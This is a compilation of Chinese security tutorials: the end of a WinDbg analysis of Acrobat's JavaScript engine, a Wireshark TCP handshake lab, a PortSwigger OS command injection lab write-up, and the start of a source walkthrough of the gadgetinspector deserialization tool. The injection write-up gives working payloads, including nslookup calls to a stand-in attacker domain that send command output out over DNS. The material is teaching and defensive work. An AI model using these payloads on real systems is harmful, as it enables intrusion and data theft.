$t3=00000005
$t4=00000001 $t5=000000bb
0b8ec938 51eb851f 40091eb8
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000003
$t4=00000001 $t5=000000ba
0b8ec930 00000000 41f00000
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000001
$t4=00000001 $t5=000000b9
0b8ec928 00000005 ffffff81
--------------------
0a83c788 "removeLinks"
$t4=00000001 $t5=000000b8
0b8ec920 0bd24ab0 ffffff87
--------------------
可以看到又新增了3个属性，id分别是0xf、0xd、0xb（索引分别是7、6、5），值分别是一个字符串、null、true。
11) 再次输入g运行，点击对话框的OK，弹出下一个对话框。
12) 再次强行中断并运行Windbg脚本命令，结果如下。
0:003> r @$t0 = 0xbd29a38 ;
0:003> r @$t1 = poi(@$t0) ;
0:003> r @$t2 = poi(@$t0 + 0x8 );
0:003> r @$t8 = poi(@$t1 + 0x10);
0:003> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
Memory access error at '); r @$t9 = 0xaa'
$t3=00000013
$t4=00000001 $t5=000000c2
0b8ec970 0bd24b50 ffffff87
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=00000011
$t4=00000001 $t5=000000c1
0b8ec968 0bda9078 ffffff87
--------------------
Memory access error at '); r @$t9 = 0xaa'
$t3=0000000f
$t4=00000001 $t5=000000c0
0b8ec960 0a818ba0 ffffff85
--------------------
可以看到又多了2个属性，id分别是0x13、0x11（索引分别是9、8）,值是2个JSObject（JSFunction也是JSObject），和Javascript代码也是对应的。
快速调试就只有这么多，通过快速调试可以查看任何一句Javascript代码产生的影响。
一般调试时大部分都应该使用快速调试，在关键部分结合细粒度的调试。
**2.3.6 调用Native function的逻辑**
2.2.4已经介绍了JSFunction的概念，这里主要通过实际调试直观地感受一下之前的概念。
1) 生成一个包含如下代码的pdf。
2) 根据之前的技巧调试该pdf，触发断点，找到this的值为0x0bd29a38。
3) 使用windbg脚本命令打印this的所有属性，找到app属性及对应的值。
--------------------
0a819ce8 "app"
$t4=00000001 $t5=00000058
0b8ebe18 0bd29b78 ffffff87
--------------------
4) 可以看到app对象的地址是0x0bd29b78，再次使用windbg脚本命令打印app对象的所有属性。
0:000> r @$t0 = 0x0bd29b78 ;
0:000> r @$t1 = poi(@$t0) ;
0:000> r @$t2 = poi(@$t0 + 0x8 );
0:000> r @$t8 = poi(@$t1 + 0x10);
0:000> .for(; @$t8 != 0; r @$t1 = @$t8;r @$t8 = poi(@$t1 + 0x10)) {r @$t3 = poi(@$t1 + 0x4);r @$t9 = 0;.catch {du poi(@$t3 + 0x4); r @$t9 = 0xaa};.if (@$t9 != 0xaa) {r @$t3};r @$t3 = poi(@$t1 + 0x8);r @$t4 = @$t3 >> 0n27;r @$t5 = @$t3 & 0x00ffffff;r @$t4, @$t5;.if(@$t5 < @$t4) {dd @$t0+0x18+@$t5*8 L0x2;}.else {r @$t5 = @$t5-@$t4;dd @$t2+@$t5*8 L0x2;};.echo --------------------;}
0a81e7c8 "doc"
$t4=00000001 $t5=00000000
0bd29b90 0bd29a38 ffffff87
--------------------
嗯?怎么只有一个doc属性，app不是还有很多方法和属性吗?这是因为app的其他属性和方法都在app对象的prototype中。
5) 根据2.2.3.3得到app对象的prototype。
0:000> dd 0x0bd29b78 L0x4
0bd29b78 0bdb5df0 0bd25980 00000000 64e124d0
0:000> dd 0bd25980 L0x4
0bd25980 0b9f7110 0bd29268 00000000 80ff0008
上面的0xbd29268就是app对象的prototype，再次使用windbg脚本命令打印app的prototype的所有属性，并找到alert属性及它的值。
--------------------
0a818cc8 "alert"
$t4=00000001 $t5=0000000d
0b99b040 0bd3c3d0 ffffff87
--------------------
6) alert对象的地址是0xbd3c3d0，是一个JSFunction。
打印alert对象的值，如下所示。
0:000> dd 0xbd3c3d0 L0xa
0bd3c3d0 0bd3b8c8 0bd250c0 00000000 64e124d0
0bd3c3e0 0c763b00 00000000 00000000 64be4600
0bd3c3f0 00000000 0a818cc0
0:000> dc 0a818cc0 L0x8
0a818cc0 00000058 0a818cc8 006c0061 00720065 X.......a.l.e.r.
0a818cd0 00000074 00000000 00000000 00000000 t...............
可以确定没有找错，那么根据2.2.4可以知道偏移0x1C处的地址（这里是0x64be4600）就是app.alert的Native实现了。
是这样吗？通过2.1节得到的app.alert的Native实现应该是地址0x64C63CB0，如下所示。
为什么alert的JSFucntion封装的Native函数地址不对呢？
这里就需要介绍一直没介绍的JSObject剩余的8个字节（参考2.2.3）。
Acrobat为了使得EScript可以调用其他模块(动态链接库)实现的Native函数，在SpiderMoneky的Native调用机制上实现了自己的机制。
这个机制由一个特定的函数实现（我称为CallExternalReference），就是上面得到的alert的JSFunction封装的Native函数，在IDA中定位0x64be4600如下。
也就是调用Natvie函数时其实调用的是CallExternalReference，并传入实际要调用的函数名称（比如这里的”alert”），然后CallExternalReference会在传入的对象（这里是app对象的prototype）中根据传入的函数名称查找实际的Native实现。
app的prototype保存的函数名称对应的Native实现如下。
可以看到这次alert对应的Native实现0x64c63cb0是正确的了。
## 3 结束语
到这里，pdf最重要的2个机制——plugin机制和Javascript机制都介绍完毕。Plugin机制能够帮助手动识别很多关键函数，Javascript机制则是漏洞利用的关键所在，不管是分析漏洞还是编写漏洞利用都是十分重要的，该文档并没有把Javascript相关的所有机制都介绍一下，但是掌握了该文档中介绍的技术，应该可以应付绝大部分情况，希望对研究PDF的人员有所帮助。 | 社区文章 |
## 网络协议——TCP报文
### 实验目的
掌握TCP建立连接的方式
了解TCP报文中不同字段的作用
了解TCP报文中标志位的作用
掌握使用wireshark分析数据包的基本方法
### 实验环境
* 操作机：Windows 7
* 实验工具：
* Wireshark2.2
## 实验内容
从网络协议最基本的TCP开始讲起。TCP是基于连接的，一种可靠的通信方式。TCP连接的建立必须经过三次握手，建立连接之后才开始发送数据，且可以保证数据的完整性，利用重传机制防止数据传输过程中的丢失。
序号为多少的包里传输了"endendend"结尾的文件最后一部分？
### 了解TCP三次握手建立连接的具体过程。
首先，先具体了解TCP三次握手建立的过程，以及判别TCP三次握手
#### 方法一 观察标志位
* 操作步骤详解
我们首先要理解的是TCP连接三次握手，如下图，A主动打开本地一个端口，向B发送一个SYN标志位为1，seq=x的包。B在监听一个端口，当这个端口收到A发送的第一个包带有SYN标志位，B会向A返回一个SYN，ACK标志位均为1，且seq=y，ack=x+1的数据包，当A收到这个包时，A向B发送确认ACK为1，seq=x+1，ack=y+1。然后TCP连接建立双方可以通信。
我们先通过TCP连接建立的过程，理解一下ACK，SYN，标志位的作用。
使用wireshark载入TCP.pcapng流量包，wireshark分三栏，会很直观的呈现给我们数据包的分组列表，分组详情和分组字节流。我们从第一个数据包开始看。Source源IP地址，192.168.233.128，Destination目的IP地址，192.168.233.129，协议TCP，在后面的Info中，我们可以看到[SYN]，Seq=
，等等：
上图当前选中的第二个数据包，我们打开了分组详情，并打开了Flags这个字段。我们可以看到在这个字段中，SYN和ACK(Acknowledgment)是置为1的。同理我们看第一个数据包只有SYN标志位为1，第三个数据包只有ACK标志位为1，我们可以意识到这是一个TCP连接的建立过程。在wireshark分组详情中，我们通过查看Transmission
Control Protocol的详细信息，包含Source Port和Destination
Port字段，分别为2333和47638，我们可以得到第二个数据包是192.168.233.129从2333端口向192.168.233.128的47638端口发送的连接建立的确认信息，即第二个握手包
#### 注释
#### 方法二 通过seq和ack的值了解建立过程
我们刚才只了解了标志位，现在了解一下TCP连接中，数据包是如何计数的，并确认完整性。
上图中可以看出，wireshark在分组列表中info字段为我们呈现了一个seq的值，为0，分组详情中也呈现出来。但是0如分组详情中括号内容解释的一样，是一个相对的值。在真正连接建立过程中，A发送的第一个请求建立TCP连接的数据包中，seq是一个随机的值，同理B也是。但是连接过程中及数据传输中，seq只是一个逐渐增大的过程，显示相对的数值并不影响我们的分析。如果想了解seq详细的数值我们可以在分组字节流中找到它，我们点击分组详情中的Sequence
number字段，响应位置的信息会在分组字节流中显示出来，我们就可以看到seq这个随机数了：
紧接着往下，在A发送了seq为0(相对)的建立连接请求后，B同样发送了一个含有seq的包，这个seq就是B端对于TCP数据包的计数，并且在ack
number给A回复了A发送的seq，表示A发送的第seq个数据包已经收到：
#### 思考
1. 如果A发送的seq没有收到对应的ack会怎样呢？(触发重传机制)
2. 如果建立连接的时候，A直接发送了一个ACK标志位为1的数据包没有SYN的过程，又会怎样？(连接建立失败)
### 实验二
TCP连接的数据传输过程
##### 方法 根据标志位进行判断
TCP还有有一个名叫Push(PSH)的标志位，我们观察载入的流量包分组列表，在info列我们可以看到有两个包是含有PSH标志位的：
注意序号为5和13的数据包。详情可以通过上面的，展开对应数据包的Flags字段，可以看到Push标志位被置为1。当PSH标志位为1时意味着有数据的传输，我们可以通过分组详情中注意到TCP层下面还有一个Data字段，Data字段就是这个数据包所包含的数据，在下面的课程我们会介绍如何提取这些数据。
### 实验三
TCP连接的断开过程
##### 方法 根据标志位判断
同样涉及到seq和ack number的变化，连接释放(断开)的过程涉及到FIN标志位。TCP连接释放过程如下图：
TCP连接释放的过程可以由A或B主动断开连接均可，上图我们展示的是A(主动建立连接的一方)主动断开TCP连接。A发送一个FIN标志位置为1，seq=u的数据包，并进入FIN-wait状态，此时仍可以接收B尚未传输结束的数据。B接受到之后发送FIN，ACK，标志知道连接即将释放，并进入CLOSE-wait状态，A接受到B的FIN，向B发送一个ACK，确认连接断开，A在等待极短的时间后断开连接。B接受到ACK之后断开连接。下面通过数据包进行分析TCP连接断开的过程：
序号为17的数据包是192.168.233.128向192.168.233.129发送的TCP连接关闭请求。我们注意到这个数据包的FIN字段为1同时ACK字段也为1，这个数据包的目的在于告知对方我要关闭连接，并且收到了对方上次发来的数据包。然后同理192.168.233.129发送了一个FIN,ACK表示连接可以关闭，最终192.168.233.128发送了ACK，释放了这个TCP连接。
#### 思考
1. 主动释放连接的一方发送了最后的一个ACK之后，还要等待一个极短的时间是什么目的？（保证报文到达；防止已失效的连接请求报文段出现在当前连接中）
2. 被动建立连接的一方(B)主动关闭连接又会是什么样的情况？
根据PSH标志位，定位到序号为5和13的两个数据包，查看分组字节流即可得到答案。
答案：13 | 社区文章 |
# 梨子带你刷burpsuite靶场系列之服务器端漏洞篇 - OS命令注入专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 服务器端漏洞篇介绍
> burp官方说他们建议初学者先看服务器漏洞篇，因为初学者只需要了解服务器端发生了什么就可以了
## 服务器端漏洞篇 – OS命令注入专题
### 什么是OS命令注入？
OS命令注入，顾名思义就是像Sql注入一样，将OS命令插入到某些地方被应用系统执行，这类漏洞的危害我相信不用我多说吧，严重的，可能从而控制整台服务器，好恐怖哦，那么接下来梨子就稍微讲一讲这类漏洞吧
### 执行任意命令
我们试想这样的场景，有一个商城应用程序中，可以通过一个URL查看是否还有库存，这个URL长这样
`https://insecure-website.com/stockStatus?productID=381&storeID=29`
我们看到它是通过参数productID和storeID来定位商品的，然后呢，后端是怎么执行查询功能的呢，这种方式梨子也是第一次见，就是开发将查询功能做成了一个脚本，然后通过GET请求的这两个参数去定位商品，返回库存
`stockreport.pl 381 29`
从上面来看，我们再试想一下，如果这个应用程序并没有检查参数的值是否合规就将其简单粗暴地附加到脚本的参数中会不会发生类似Sql注入的情况呢，于是我们做出了这样的尝试，我们将参数productID的值替换成下面这个
`& echo aiwefwlguh &`
然后我们看一下拼接以后是什么样子
`stockreport.pl & echo aiwefwlguh & 29`
在命令行中与运算符(&)可以在一条命令中执行多条命令，既然后端会执行这样一条命令，那么我们在前端就会收到这样的命令执行的结果
Error - productID was not provided
aiwefwlguh
29: command not found
我们看到虽然脚本因为缺失参数productID的值，但是并不影响执行其他命令，这就是一个简单的OS命令注入的例子
### 配套靶场：简单的OS命令注入
为了直观地看到OS命令注入的结果，我们选择在第二个参数中构造paylaod，首先我们先插入一个单引号(‘)，如果存在OS命令注入的话会因为参数值不规范而报错
从上图来看，说明存在OS命令注入，然后我们就可以利用管道符(|)执行其他命令
我们看到回显中是OS命令whoami的执行结果，说明我们成功发动了OS命令注入
### 有用的命令
burp这里为初学者提供了一些比较常见的OS命令注入的命令，嘻嘻嘻，burp好贴心啊，真的是傻瓜式的教学，不管基础再差的初学者都可以听懂的哦
命令用途 | Linux | Windows
---|---|---
当前用户名 | whomai | whoami
操作系统版本 | uname -a | ver
网络配置 | ifconfig | ipconfig /all
网络连接 | netstat -an | netstat -an
运行中的进程 | ps -ef | tasklist
### OS命令盲注漏洞
OS命令盲注，与Sql盲注相同，都是不会在回显中直接获取到OS命令注入结果的，需要结合其他技术获取OS命令注入结果，我们看一下这样一个场景，该应用程序存在一个反馈功能可以发送邮件到管理员那里，我们看到后端会执行这样的命令
`mail -s "This site is great" -aFrom:peter[@normal](https://github.com/normal
"@normal")-user.net feedback[@vulnerable](https://github.com/vulnerable
"@vulnerable")-website.com`
我们看到后端使用的是mail命令，这个命令不会在响应中回显任何东西，这就导致我们无法直接从响应回显中看到命令注入结果，这时候就需要利用其他技术获取了
### 利用延时检测OS命令盲注漏洞
如果一个点存在不回显的OS命令注入，会出现虽然注入的OS命令可以被执行，但是我们接收不到结果，那么我们可以通过增加响应时间来判断是否执行了我们注入的语句，比如我们可以利用ping发一定数量的包来达到这种效果
`& ping -c 10 127.0.0.1 &`
从上面我们看到我们发出了10个包，那么响应时间就会被延后大概10秒钟的时间，这样我们就能判断这个地方存在OS命令盲注漏洞
### 配套靶场：利用延时检测OS命令盲注漏洞
就像我们刚才讲的，然后上手操作一下，基本没什么难度的
我们看到我们的响应时间延后了10秒左右的样子，说明后端执行了我们注入的OS命令
### 利用重定向输出触发OS命令盲注
在了解到如何检测OS命令盲注漏洞以后，我们就要学习如何触发这个漏洞，这里介绍的方法是重定向输出，什么是重定向输出呢？就是将输出从其他的通道发出来，我们可以将OS命令盲注的结果写入到某个文件下，比如根目录的某个文件，然后我们就可以直接访问那个文件获取到结果了，比如我们注入这样的OS命令
`& whoami > /var/www/static/whoami.txt &`
如果应用程序存在OS命令盲注漏洞的话，则会在Web根目录下生成这样一个文件，里面保存着OS命令盲注的结果，这里有一个小知识给初学者讲一下哦，就是重定向输出符(>)，正常情况会输出到命令行的嘛，但是利用这个操作符以后就可以将输出重定向到我们指定的地方，比如txt文件
### 配套靶场：利用重定向输出触发OS命令盲注
我们刚才已经讲的很详细了，大家手肯定痒痒了，那就稍微动动手玩玩
然后我们访问一下对应的文件看一下有没有我们想要的东西
好的，我们看到不仅能访问到那个文件，并且还能看到里面的内容，说明我们成功触发OS命令盲注
### 利用带外技术(OAST)检测与触发OS命令盲注
之前我们在介绍Sql盲注的时候也介绍过带外技术，在OS命令盲注中同理，只不过是执行的位置不同罢了，比如我们注入这样OS命令
`& nslookup kgji2ohoyw.web-attacker.com &`
上面这条命令只是利用带外技术检测OS命令盲注，当攻击者的服务器检测到有DNS流量即表示存在OS命令盲注漏洞
* * *
那么我们如何触发OS命令盲注呢？我们可以将OS命令盲注的结果拼接到所请求的域中，像这样的
`& nslookup`whoami`.kgji2ohoyw.web-attacker.com &`
如果应用程序存在OS命令盲注的话，则我们可以在攻击者服务器接收到这样的DNS流量
`wwwuser.kgji2ohoyw.web-attacker.com`
### 配套靶场：利用带外技术检测OS命令盲注
通过对前面知识的学习，我们知道我们要找提交反馈的点，于是我们在HTTP History中找到了请求包，插入我们的payload
然后我们来到collaborator看看有没有收到什么
看，我们收到了DNS请求，说明我们成功触发了OS命令盲注
### 配套靶场：利用带外技术触发OS命令盲注
步骤是差不多的，只不过是要稍微改一下payload，将要注入的OS命令用反引号(`)括起来
然后我们就可以在我们的collaborator接收到夹带OS命令盲注结果的DNS请求了
看，我们从而得知当前用户名是peter
### OS命令注入方式
通过上面的学习，我们了解到注入的OS命令需要搭配命令分隔符使用，以下命令分隔符是Linux和Windows系统下通用的
* &
* &&
* |
* ||
还有几个是只有Linux系统下的
* ;
* 换行符(0x0a or \n)
在Linux系统上，还可以使用反引号(`)或美元符号($)对注入命令进行内联执行，这样方便我们将结果拼接到带外地址中，有的时候我们的输入会被括在引号里面，不用慌，我们只需要在输入中利用引号闭合掉就可以继续注入我们的命令了
### 如何防止OS命令注入攻击？
从前面讲的内容来看，导致OS命令注入的原因是我们直接将输入与命令前缀拼接执行，这样风险非常大的，如果我们不能接入一些API来实现执行命令，我们就需要实施严格的输入过滤，大概有以下几种方法
* 设置白名单并禁止白名单外的字符存在于输入中
* 验证输入数据类型是否符合要求
这里burp建议千万不要转义shell元字符，为了防止老手用骚操作绕过
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之服务器端漏洞篇 –
OS命令注入专题的全部内容啦，OS命令注入的危害还是非常严重的，如果检测到这类漏洞，就可以轻而易举地让服务器做任何你想要它做的事，希望大家能够大概了解OS命令注入的漏洞原理，大家有任何疑问欢迎在评论区讨论哦！ | 社区文章 |
### 0x01 前言
我们在使用ysoserial的时候，经常会用它生成序列化的payload，用于攻击具有反序列化功能的endpoint，而这些payload大部分都是比较长的一条执行链，在反序列化期间，由执行程序执行攻击者可控的source，然后通过依赖中存在的执行链，最终触发至slink，从而达到攻击的效果。
这些gadget chain有长有短，大部分可以通过类似Intellij
idea这类工具去根据slink，查找调用者，以及各种调用者的实现，一路反向的跟踪，对于一些比较简单比较短的链，通常通过人工查找也能快速的找到，但是对于一些比较长的链，人工查找会耗费巨大的精力和时间，并且不一定能挖掘到gadget
chain。
而有段时间，我苦恼于人工查找浪费巨大精力得不偿失时，忽然发现这样一款自动化挖掘gadget
chain的工具，通过阅读分析它的源码，它给我带来了非常多的知识以及自动化挖掘的思路，其中就包括类似污点分析，如何去分析方法调用中，参数是否可以影响返回值，从而跟踪数据流动是否可以从source最终流动至slink，并影响至最终的slink点。
**gadgetinspector** ：
<https://github.com/JackOfMostTrades/gadgetinspector>
**个人加了点注释的gadgetinspector**
<https://github.com/threedr3am/gadgetinspector>
**slink** ：
* Runtime.exec()：这种利用最为简单，但是实际生产情况基本不会遇到
* Method.invoke()：这种方式通过反射执行方法，需要方法以及参数可控
* RMI/JRMP：通过反序列化使用RMI或者JRMP链接到我们的exp服务器，通过发送序列化payload至靶机实现
* URL.openStream：这种利用方式需要参数可控，实现SSRF
* Context.lookup：这种利用方式也是需要参数可控，最终通过rmi或ldap的server实现攻击
* ...等等
在分析gadgetinspector源码的时候，大概会在以下几方面去讲解，并核心分析ASM部分，详细讲解如何进行污点分析：
1. GadgetInspector：main方法，程序的入口，做一些配置以及数据的准备工作
2. MethodDiscovery：类、方法数据以及父子类、超类关系数据的搜索
3. PassthroughDiscovery：分析参数能影响到返回值的方法，并收集存储
4. CallGraphDiscovery：记录调用者caller方法和被调用者target方法的参数关联
5. SourceDiscovery：入口方法的搜索，只有具备某种特征的入口才会被标记收集
6. GadgetChainDiscovery：整合以上数据，并通过判断调用链的最末端slink特征，从而判断出可利用的gadget chain
### 0x02 GadgetInspector：入口代码的分析
程序启动的入口，在该方法中，会做一些数据的准备工作，并一步步调用MethodDiscovery、PassthroughDiscovery、CallGraphDiscovery、SourceDiscovery、GadgetChainDiscovery，最终实现gadget
chain的挖掘
参数合法判断：
if (args.length == 0) {
printUsage();
System.exit(1);
}
在程序的入口处，会先判断启动参数是否为空，若是空，则直接退出，因为程序对挖掘的gadget chain会有类型的区分，以及class所在位置的配置
日志、序列化类型配置：
//配置log4j用于输出日志
configureLogging();
boolean resume = false;
//挖掘的gadget chain序列化类型，默认java原生序列化
GIConfig config = ConfigRepository.getConfig("jserial");
日志配置是便于统一的输出管理，而序列化类型的配置，因为对链的挖掘前，我们需要确定挖掘的是哪种类型的链，它可以是jackson的json序列化，也可以是java原生的序列化等等
序列化配置接口：
public interface GIConfig {
String getName();
SerializableDecider getSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap, InheritanceMap inheritanceMap);
ImplementationFinder getImplementationFinder(Map<MethodReference.Handle, MethodReference> methodMap,
Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap,
InheritanceMap inheritanceMap);
SourceDiscovery getSourceDiscovery();
}
既然我们选择了不同的序列化形式，那么，相对来说，它们都会有自身特有的特征，因此我们需要实现jackson特有的SerializableDecider、ImplementationFinder、SourceDiscovery，从而能达到区分，并最终实现gadget
chain的挖掘，
例jackson：
* SerializableDecider-JacksonSerializableDecider：
public class JacksonSerializableDecider implements SerializableDecider {
//类是否通过决策的缓存集合
private final Map<ClassReference.Handle, Boolean> cache = new HashMap<>();
//类名-方法集合 映射集合
private final Map<ClassReference.Handle, Set<MethodReference.Handle>> methodsByClassMap;
public JacksonSerializableDecider(Map<MethodReference.Handle, MethodReference> methodMap) {
this.methodsByClassMap = new HashMap<>();
for (MethodReference.Handle method : methodMap.keySet()) {
Set<MethodReference.Handle> classMethods = methodsByClassMap.get(method.getClassReference());
if (classMethods == null) {
classMethods = new HashSet<>();
methodsByClassMap.put(method.getClassReference(), classMethods);
}
classMethods.add(method);
}
}
@Override
public Boolean apply(ClassReference.Handle handle) {
Boolean cached = cache.get(handle);
if (cached != null) {
return cached;
}
Set<MethodReference.Handle> classMethods = methodsByClassMap.get(handle);
if (classMethods != null) {
for (MethodReference.Handle method : classMethods) {
//该类，只要有无参构造方法，就通过决策
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
cache.put(handle, Boolean.TRUE);
return Boolean.TRUE;
}
}
}
cache.put(handle, Boolean.FALSE);
return Boolean.FALSE;
}
}
这一块代码，我们可以主要关心在apply方法中，可以看到，具体细节的意思就是，只要存在无参的构造方法，都表示可以被序列化。因为在java中，若没有显式的实现无参构造函数，而实现了有参构造函数，在这种情况下，该类是不具有无参构造方法的，而jackson对于json的反序列化，都是先通过无参构造方法进行实例化，因此，若无无参构造方法，则表示不能被jackson进行反序列化。所以，该决策类的存在意义，就是标识gadget
chian中不可被反序列化的类，不可被反序列化就意味着数据流不可控，gadget chain无效。
* ImplementationFinder-JacksonImplementationFinder
public class JacksonImplementationFinder implements ImplementationFinder {
private final SerializableDecider serializableDecider;
public JacksonImplementationFinder(SerializableDecider serializableDecider) {
this.serializableDecider = serializableDecider;
}
@Override
public Set<MethodReference.Handle> getImplementations(MethodReference.Handle target) {
Set<MethodReference.Handle> allImpls = new HashSet<>();
// For jackson search, we don't get to specify the class; it uses reflection to instantiate the
// class itself. So just add the target method if the target class is serializable.
if (Boolean.TRUE.equals(serializableDecider.apply(target.getClassReference()))) {
allImpls.add(target);
}
return allImpls;
}
}
该实现类核心方法是getImplementations，因为java是一个多态性的语言，只有在运行时，程序才可知接口的具体实现类是哪一个，而gadgetinspector并不是一个运行时的gadget
chain挖掘工具，因此，当遇到一些接口方法的调用时，需要通过查找该接口方法的所有实现类，并把它们组成链的一节形成实际调用的链，最后去进行污点分析。而该方法通过调用JacksonSerializableDecider的apply方法进行判断，因为对于接口或者子类的实现，我们是可控的，但是该json是否可被反序列化，需要通过JacksonSerializableDecider判断是否存在无参构造方法。
* SourceDiscovery-JacksonSourceDiscovery
public class JacksonSourceDiscovery extends SourceDiscovery {
@Override
public void discover(Map<ClassReference.Handle, ClassReference> classMap,
Map<MethodReference.Handle, MethodReference> methodMap,
InheritanceMap inheritanceMap) {
final JacksonSerializableDecider serializableDecider = new JacksonSerializableDecider(methodMap);
for (MethodReference.Handle method : methodMap.keySet()) {
if (serializableDecider.apply(method.getClassReference())) {
if (method.getName().equals("<init>") && method.getDesc().equals("()V")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("get") && method.getDesc().startsWith("()")) {
addDiscoveredSource(new Source(method, 0));
}
if (method.getName().startsWith("set") && method.getDesc().matches("\\(L[^;]*;\\)V")) {
addDiscoveredSource(new Source(method, 0));
}
}
}
}
}
该实现类，仅有discover这一个方法，不过，对于gadget chain的挖掘，它可以肯定是最重要的，因为一个gadget
chain的执行链，我们必须要有一个可以触发的入口，而JacksonSourceDiscovery的作用就是找出具备这样特征的入口方法，对于jackson反序列化json时，它会执行无参构造方法以及setter、getter方法，若我们在数据字段可控的情况下，并由这些被执行的方法去触发，若存在gadget
chain，那么就能触发source-slink整条链的执行。
int argIndex = 0;
while (argIndex < args.length) {
String arg = args[argIndex];
if (!arg.startsWith("--")) {
break;
}
if (arg.equals("--resume")) {
//不删除dat文件
resume = true;
} else if (arg.equals("--config")) {
//--config参数指定序列化类型
config = ConfigRepository.getConfig(args[++argIndex]);
if (config == null) {
throw new IllegalArgumentException("Invalid config name: " + args[argIndex]);
}
} else {
throw new IllegalArgumentException("Unexpected argument: " + arg);
}
argIndex += 1;
}
此处是对于一些参数的一些解析配置：
--resume：不删除dat文件
--config：指定序列化类型
final ClassLoader classLoader;
//程序参数的最后一部分，即最后一个具有前缀--的参数（例：--resume）后
if (args.length == argIndex+1 && args[argIndex].toLowerCase().endsWith(".war")) {
//加载war文件
Path path = Paths.get(args[argIndex]);
LOGGER.info("Using WAR classpath: " + path);
//实现为URLClassLoader，加载war包下的WEB-INF/lib和WEB-INF/classes
classLoader = Util.getWarClassLoader(path);
} else {
//加载jar文件，java命令后部，可配置多个
final Path[] jarPaths = new Path[args.length - argIndex];
for (int i = 0; i < args.length - argIndex; i++) {
Path path = Paths.get(args[argIndex + i]).toAbsolutePath();
if (!Files.exists(path)) {
throw new IllegalArgumentException("Invalid jar path: " + path);
}
jarPaths[i] = path;
}
LOGGER.info("Using classpath: " + Arrays.toString(jarPaths));
//实现为URLClassLoader，加载所有指定的jar
classLoader = Util.getJarClassLoader(jarPaths);
}
//类枚举加载器，具有两个方法
//getRuntimeClasses获取rt.jar的所有class
//getAllClasses获取rt.jar以及classLoader加载的class
final ClassResourceEnumerator classResourceEnumerator = new ClassResourceEnumerator(classLoader);
这段代码，解析了程序启动参数最后一个“--参数”后的部分，这部分可以指定一个war包，也能指定多个jar包，并最终放到ClassResourceEnumerator，ClassResourceEnumerator通过guava的ClassPath，对配置加载的war、jar中的所有class进行读取或对jre的rt.jar中的所有class进行读取
//删除所有的dat文件
if (!resume) {
// Delete all existing dat files
LOGGER.info("Deleting stale data...");
for (String datFile : Arrays.asList("classes.dat", "methods.dat", "inheritanceMap.dat",
"passthrough.dat", "callgraph.dat", "sources.dat", "methodimpl.dat")) {
final Path path = Paths.get(datFile);
if (Files.exists(path)) {
Files.delete(path);
}
}
}
这段代码，可以看到，如果没有配置--resume参数，那么在程序的每次启动后，都会先删除所有的dat文件
//扫描java runtime所有的class（rt.jar）和指定的jar或war中的所有class
// Perform the various discovery steps
if (!Files.exists(Paths.get("classes.dat")) || !Files.exists(Paths.get("methods.dat"))
|| !Files.exists(Paths.get("inheritanceMap.dat"))) {
LOGGER.info("Running method discovery...");
MethodDiscovery methodDiscovery = new MethodDiscovery();
methodDiscovery.discover(classResourceEnumerator);
//保存了类信息、方法信息、继承实现信息
methodDiscovery.save();
}
if (!Files.exists(Paths.get("passthrough.dat"))) {
LOGGER.info("Analyzing methods for passthrough dataflow...");
PassthroughDiscovery passthroughDiscovery = new PassthroughDiscovery();
//记录参数在方法调用链中的流动关联（如：A、B、C、D四个方法，调用链为A->B B->C C->D，其中参数随着调用关系从A流向B，在B调用C过程中作为入参并随着方法结束返回，最后流向D）
//该方法主要是追踪上面所说的"B调用C过程中作为入参并随着方法结束返回"，入参和返回值之间的关联
passthroughDiscovery.discover(classResourceEnumerator, config);
passthroughDiscovery.save();
}
if (!Files.exists(Paths.get("callgraph.dat"))) {
LOGGER.info("Analyzing methods in order to build a call graph...");
CallGraphDiscovery callGraphDiscovery = new CallGraphDiscovery();
//记录参数在方法调用链中的流动关联（如：A、B、C三个方法，调用链为A->B B->C，其中参数随着调用关系从A流向B，最后流C）
//该方法主要是追踪上面所说的参数流动，即A->B入参和B->C入参的关系，以确定参数可控
callGraphDiscovery.discover(classResourceEnumerator, config);
callGraphDiscovery.save();
}
if (!Files.exists(Paths.get("sources.dat"))) {
LOGGER.info("Discovering gadget chain source methods...");
SourceDiscovery sourceDiscovery = config.getSourceDiscovery();
//查找利用链的入口（例：java原生反序列化的readObject）
sourceDiscovery.discover();
sourceDiscovery.save();
}
{
LOGGER.info("Searching call graph for gadget chains...");
GadgetChainDiscovery gadgetChainDiscovery = new GadgetChainDiscovery(config);
//根据上面的数据收集，最终分析利用链
gadgetChainDiscovery.discover();
}
LOGGER.info("Analysis complete!");
最后这部分，就是核心的挖掘逻辑。
### 0x03 MethodDiscovery
这部分，主要进行了类数据、方法数据以及类继承关系数据的收集
if (!Files.exists(Paths.get("classes.dat")) || !Files.exists(Paths.get("methods.dat"))
|| !Files.exists(Paths.get("inheritanceMap.dat"))) {
